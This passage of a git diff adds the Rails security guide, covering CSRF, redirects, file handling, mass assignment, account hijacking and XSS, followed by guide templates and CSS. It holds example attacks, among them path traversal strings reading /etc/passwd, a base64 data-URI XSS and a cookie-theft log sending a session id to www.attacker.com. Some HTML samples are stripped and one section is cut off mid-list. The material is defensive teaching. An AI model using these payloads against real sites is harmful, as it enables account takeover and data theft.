expiring sessions on the server is safer. Here is an example of how to [,#fffcdb]#expire sessions in a database table#. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago. + +[source, ruby] +---------------------------------------------------------------------------- +class Session < ActiveRecord::Base + def self.sweep(time_ago = nil) +
 time = case time_ago +
 when /^(\d+)m$/ then Time.now - $1.to_i.minute +
 when /^(\d+)h$/ then Time.now - $1.to_i.hour +
 when /^(\d+)d$/ then Time.now - $1.to_i.day +
 else Time.now - 1.hour +
 end +
 self.delete_all "updated_at < '#{time.to_s(:db)}'" +
 end +
end +---------------------------------------------------------------------------- + +The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above: + +[source, ruby] +---------------------------------------------------------------------------- +self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'" +---------------------------------------------------------------------------- + +== Cross-Site Reference Forgery (CSRF) +-- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._ + +image::images/csrf.png[CSRF] + +In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example: + +- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file. +- ++ +- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. +- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. +- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. +- Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone. + +It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email. + +CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – [,#fffcdb]#CSRF is an important security issue#. + +=== CSRF Countermeasures + +-- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._ + +The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST: + +*Use GET if:* + +- The interaction is more [,#fffcdb]#like a question# (i.e., it is a safe operation such as a query, read operation, or lookup). + +*Use POST if:* + +- The interaction is more [,#fffcdb]#like an order#, or +- The interaction [,#fffcdb]#changes the state# of the resource in a way that the user would perceive (e.g., a subscription to a service), or +- The user is [,#fffcdb]#held accountable for the results# of the interaction. + +If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier. + +[,#fffcdb]#The verify method in a controller can make sure that specific actions may not be used over GET#. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action. + +................................................................................. +verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list} +................................................................................. + +With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application. + +But this was only the first step, because [,#fffcdb]#POST requests can be send automatically, too#. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request. + +[source, html] +---------------------------------------------------------------------------- +To the harmless survey +---------------------------------------------------------------------------- + +Or the attacker places the code into the onmouseover event handler of an image: + +++ + +There are many other possibilities, including Ajax to attack the victim in the background.
The [,#fffcdb]#solution to this is including a security token in non-GET requests# which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: + ++protect_from_forgery :secret => "123456789012345678901234567890..."+ + +This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected. + +Note that [,#fffcdb]#cross-site scripting (XSS) vulnerabilities bypass all CSRF protections#. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later. + +== Redirection and Files + +Another class of security vulnerabilities surrounds the use of redirection and files in web applications. + +=== Redirection + +-- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ + +Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: + +[source, ruby] +---------------------------------------------------------------------------- +def legacy + redirect_to(params.update(:action=>'main')) +end +---------------------------------------------------------------------------- + +This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: + ++http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com+ + +If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to [,#fffcdb]#include only the expected parameters in a legacy action# (again a whitelist approach, as opposed to removing unexpected parameters). [,#fffcdb]#And if you redirect to an URL, check it with a whitelist or a regular expression#. + +==== Self-contained XSS + +Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images: + ++data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+ + +This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, [,#fffcdb]#do not allow the user to supply (parts of) the URL to be redirected to#. + +=== File uploads + +-- _Make sure file uploads don't overwrite important files, and process media files asynchronously._ + +Many web applications allow users to upload files. [,#fffcdb]#File names, which the user may choose (partly), should always be filtered# as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwdâ€, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. + +When filtering user input file names, [,#fffcdb]#don't try to remove malicious parts#. Think of a situation where the web application removes all “../†in a file name and an attacker uses a string such as “....//†- the result will be “../â€. It is best to use a whitelist approach, which [,#fffcdb]#checks for the validity of a file name with a set of accepted characters#. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the http://github.com/technoweenie/attachment_fu/tree/master[attachment_fu plugin]: + +[source, ruby] +---------------------------------------------------------------------------- +def sanitize_filename(filename) + returning filename.strip do |name| + # NOTE: File.basename doesn't work right with Windows paths on Unix + # get only the filename, not the whole path + name.gsub! /^.*(\\|\/)/, '' + # Finally, replace all non alphanumeric, underscore + # or periods with underscore + name.gsub! /[^\w\.\-]/, '_' + end +end +---------------------------------------------------------------------------- + +A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its [,#fffcdb]#vulnerability to denial-of-service attacks#. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server. + +The solution to this, is best to [,#fffcdb]#process media files asynchronously#: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. + +=== Executable code in file uploads + +-- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory._ + +The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi†with code in it, which will be executed when someone downloads the file. + +[,#fffcdb]#If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it#, store files at least one level downwards. + +=== File downloads + +-- _Make sure users cannot download arbitrary files._ + +Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded: + +[source, ruby] +---------------------------------------------------------------------------- +send_file('/var/www/uploads/' + params[:filename]) +---------------------------------------------------------------------------- + +Simply pass a file name like “../../../etc/passwd†to download the server's login information. A simple solution against this, is to [,#fffcdb]#check that the requested file is in the expected directory#: + +[source, ruby] +---------------------------------------------------------------------------- +basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) +filename = File.expand_path(File.join(basename, @file.public_filename)) +raise if basename =! + File.expand_path(File.join(File.dirname(filename), '../../../')) +send_file filename, :disposition => 'inline' +---------------------------------------------------------------------------- + +Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way. + +== Intranet and Admin security + +-- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._ + +In 2007 there was the first tailor-made http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html[Trojan] which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
 + +*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. + +Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. + +Refer to the Injection section for countermeasures against XSS. It is [,#fffcdb]#recommended to use the SafeErb plugin# also in an Intranet or administration interface. + +*CSRF* Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. + +A real-world example is a http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html[router reconfiguration by CSRF]. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. + +Another example changed Google Adsense's e-mail address and password by http://www.0x000000.com/index.php?i=213&bin=11010101[CSRF]. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
 + +Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. + +For [,#fffcdb]#countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section#. + +=== Additional precautions + +The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: + +- It is very important to [,#fffcdb]#think about the worst case#: What if someone really got hold of my cookie or user credentials. You could [,#fffcdb]#introduce roles# for the admin interface to limit the possibilities of the attacker. Or how about [,#fffcdb]#special login credentials# for the admin interface, other than the ones used for the public part of the application. Or a [,#fffcdb]#special password for very serious actions#? + +- Does the admin really have to access the interface from everywhere in the world? Think about [,#fffcdb]#limiting the login to a bunch of source IP addresses#. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. + +- [,#fffcdb]#Put the admin interface to a special sub-domain# such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. + +== Mass assignment + +-- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._ + +The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method: + +[source, ruby] +---------------------------------------------------------------------------- +def signup + params[:user] #=> {:name => “ow3nedâ€, :admin => true} + @user = User.new(params[:user]) +end +---------------------------------------------------------------------------- + +Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this: + +.......... +http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1 +.......... + +This will set the following parameters in the controller: + +[source, ruby] +---------------------------------------------------------------------------- +params[:user] #=> {:name => “ow3nedâ€, :admin => true} +---------------------------------------------------------------------------- + +So if you create a new user using mass-assignment, it may be too easy to become an administrator. + +=== Countermeasures + +To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example: + +[source, ruby] +---------------------------------------------------------------------------- +attr_protected :admin +---------------------------------------------------------------------------- + +A much better way, because it follows the whitelist-principle, is the [,#fffcdb]#attr_accessible method#. It is the exact opposite of attr_protected, because [,#fffcdb]#it takes a list of attributes that will be accessible#. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example: + +[source, ruby] +---------------------------------------------------------------------------- +attr_accessible :name +---------------------------------------------------------------------------- + +If you want to set a protected attribute, you will to have to assign it individually: + +[source, ruby] +---------------------------------------------------------------------------- +params[:user] #=> {:name => "ow3ned", :admin => true} +@user = User.new(params[:user]) +@user.admin #=> false # not mass-assigned +@user.admin = true +@user.admin #=> true +---------------------------------------------------------------------------- + +== User management + +-- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ + +There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is [,#fffcdb]#restful_authentication# which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances. + +Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): + +.......... +http://localhost:3006/user/activate +http://localhost:3006/user/activate?id= +.......... + +This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action: + +[source, ruby] +---------------------------------------------------------------------------- +User.find_by_activation_code(params[:id]) +---------------------------------------------------------------------------- + +If the parameter was nil, the resulting SQL query will be + +.......... +SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1 +.......... + +And thus it found the first user in the database, returned it and logged him in. You can find out more about it in http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/[my blog post]. [,#fffcdb]#It is advisable to update your plug-ins from time to time#. Moreover, you can review your application to find more flaws like this. + +=== Brute-forcing accounts + +-- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._ + +A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes. + +Because of this, most web applications will display a generic error message “user name or password not correctâ€, if one of these are not correct. If it said “the user name you entered has not been foundâ€, an attacker could automatically compile a list of user names. + +However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts. + +In order to mitigate such attacks, [,#fffcdb]#display a generic error message on forgot-password pages, too#. Moreover, you can [,#fffcdb]#require to enter a CAPTCHA after a number of failed logins from a certain IP address#. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack. + +=== Account hijacking + +-- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_ + +==== Passwords + +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, [,#fffcdb]#make change-password forms safe against CSRF#, of course. And [,#fffcdb]#require the user to enter the old password when changing it#. + +==== E-Mail + +However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure [,#fffcdb]#require the user to enter the password when changing the e-mail address, too#. + +==== Other + +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[Google Mail]. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, [,#fffcdb]#review your application logic and eliminate all XSS and CSRF vulnerabilities#. + +=== CAPTCHAs + +-- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._ + +But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is http://recaptcha.net/[reCAPTCHA] which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. http://ambethia.com/recaptcha/[ReCAPTCHA] is also a Rails plug-in with the same name as the API. + +You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. +The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot. + +Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript. + +Here are some ideas how to hide honeypot fields by JavaScript and/or CSS: + +- position the fields off of the visible area of the page +- make the elements very small or colour them the same as the background of the page +- leave the fields displayed, but tell humans to leave them blank + +The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too. + +You can find more sophisticated negative CAPTCHAs in Ned Batchelder's http://nedbatchelder.com/text/stopbots.html[blog post]: + +- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. +- Randomize the field names +- Include more than one honeypot field of all types, including submission buttons + +Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms. + +=== Logging + +-- _Tell Rails not to put passwords in the log files._ + +By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can [,#fffcdb]#filter certain request parameters from your log files# by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log. + +[source, ruby] +---------------------------------------------------------------------------- +filter_parameter_logging :password +---------------------------------------------------------------------------- + +=== Good passwords + +-- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ + +Bruce Schneier, a security technologist, http://www.schneier.com/blog/archives/2006/12/realworld_passw.html[has analysed] 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: + +password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey. + +It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked. + +A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the [,#fffcdb]#first letters of a sentence that you can easily remember#. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too. + +=== Regular expressions + +-- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ + +Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this: + +[source, ruby] +---------------------------------------------------------------------------- +class File < ActiveRecord::Base + validates_format_of :name, :with => /^[\w\.\-\+]+$/ +end +---------------------------------------------------------------------------- + +This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, [,#fffcdb]#in Ruby ^ and $ matches the *line* beginning and line end#. And thus a file name like this passes the filter without problems: + +.......... +file.txt%0A +.......... + +Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: + +[source, ruby] +---------------------------------------------------------------------------- +/\A[\w\.\-\+]+\z/ +[source, ruby] +---------------------------------------------------------------------------- + +=== Privilege escalation + +-- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._ + +The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this: + +[source, ruby] +---------------------------------------------------------------------------- +@project = Project.find(params[:id]) +---------------------------------------------------------------------------- + +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, [,#fffcdb]#query the user's access rights, too#: + +[source, ruby] +---------------------------------------------------------------------------- +@project = @current_user.projects.find(params[:id]) +---------------------------------------------------------------------------- + +Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, [,#fffcdb]#no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated#. + +Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. [,#fffcdb]#JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values#. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. + +== Injection + +-- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._ + +Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection. + +=== Whitelists versus Blacklists + +-- _When sanitizing, protecting or verifying something, whitelists over blacklists._ + +A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), [,#fffcdb]#prefer to use whitelist approaches#: + +- Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions. +- Use attr_accessible instead of attr_protected. See the mass-assignment section for details +- Allow instead of removing +.......... + +This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places: + +.......... + + +.......... + +===== Cookie theft + +These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page: + +.......... + +.......... + +For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie. + +.......... + +.......... + +The log files on www.attacker.com will read like this: + +.......... +GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 +.......... + +You can mitigate these attacks (in the obvious way) by adding the http://dev.rubyonrails.org/ticket/8895[httpOnly] flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/[will still be visible using Ajax], though. + +===== Defacement + +With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes: + +.......... + +.......... + +This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html[actual attack] on legitimate Italian sites using the http://isc.sans.org/diary.html?storyid=3015[Mpack attack framework]. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. + +A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. + +Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": + +.......... +http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> + + + + + + + + + +
class="notoc"<% end %>> + <% if show_toc %> + + <% end %> +
+ <%- if multi_page? && !is_preamble? -%> +

<%= current_chapter.title %>

+ <%- else -%> +

<%=h title %>

+ <%- end -%> + <%= contents %> + <%- if multi_page? -%> +
+ <%- if prev_chapter -%> + + <%- end -%> + <%- if next_chapter -%> + + <%- end -%> +
+ <%- end -%> +
+
+ + diff --git a/vendor/rails/railties/doc/guides/source/templates/inline.css b/vendor/rails/railties/doc/guides/source/templates/inline.css new file mode 100644 index 00000000..1b406733 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/templates/inline.css @@ -0,0 +1,165 @@ +div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} diff --git a/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt b/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt new file mode 100644 index 00000000..6cced2fd --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt @@ -0,0 +1,995 @@ +A Guide to Testing Rails Applications +===================================== + +This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be 